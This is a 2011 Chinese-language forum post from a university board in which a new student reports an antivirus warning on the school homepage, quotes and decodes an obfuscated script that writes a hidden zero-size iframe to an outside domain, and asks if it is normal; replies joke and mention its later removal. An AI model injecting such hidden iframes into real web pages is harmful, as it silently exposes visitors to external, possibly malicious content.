作者newuse (New)
看板NFU
标题[虎科] 关於首页
时间Thu Aug 25 18:29:14 2011
今天在进入学校网站时~防毒软体跳出警告
使用网址
http://140.130.1.19/main.php
防毒软体 Avira AntiVir Personal - Free Antivirus
警告讯息
http://ppt.cc/TAQ9
详细资讯
http://ppt.cc/-1lo
顺手去看了看原始码
初步怀疑是这串
<script>document.write ('<ifr'+'am'+'e
sr'+'c=ht'+'tp:/'+'/ww'+'w.y'+'oufen'+'g.or'+'g/ widt'+'h=0
h'+'eight='+'0></i'+'fr'+'am'+'e>');</script>
简单解出来是
<script>
document.write
('<iframe src=
http://www.youfeng.org/ width=0 height=0></iframe>');
</script>
view-source:
http://140.130.1.19/main.php line 110
http://ppt.cc/,1TQ
私自解释为 ~ 一个宽高为0的iframe 目标
http://www.youfeng.org/
目标物看起来也不是有害物
因为是个刚入学的新生~想询问这个情形是否正常??
还是只是个学校网页不用太在意!?
--
※ 发信站: 批踢踢实业坊(ptt.cc)
◆ From: 1.170.141.171
※ 编辑: newuse 来自: 1.170.141.171 (08/25 18:36)
1F：→ f953024:你的学长坐在你後面．他正在吃饭 08/25 18:37
2F：→ BeLOveRX:对WebGen这种判断，就是iframe 08/25 21:30
3F：→ BeLOveRX:产品一旦过了保固期，各种奇怪的东西都会跑出来 @@ 08/25 21:30
4F：→ justlovenene:成功招换舒舒学姐 >.^ 08/25 21:57
5F：→ BeLOveRX:打从学校首页出现 厂商帐号张贴的 test公告的时候.. 08/25 23:36
6F：→ Tiger0319:XD...... 会不会是一年级的新生在乱玩 08/27 10:37
7F：推 sc024500: XD...... 会不会是这楼上的老虎在乱玩 08/27 15:35
8F：→ newuse:学笑貌似有再看PTT...iframe 已经被移除了 08/27 16:31
9F：→ sc024500:sparc又挂了 08/27 18:31
10F：推 Tiger0319:学弟那一系的0.0? 08/28 10:39
11F：→ ChrisFoxy:这种隐藏式的框架好像会被防毒误报成挂马 @@" 08/28 21:16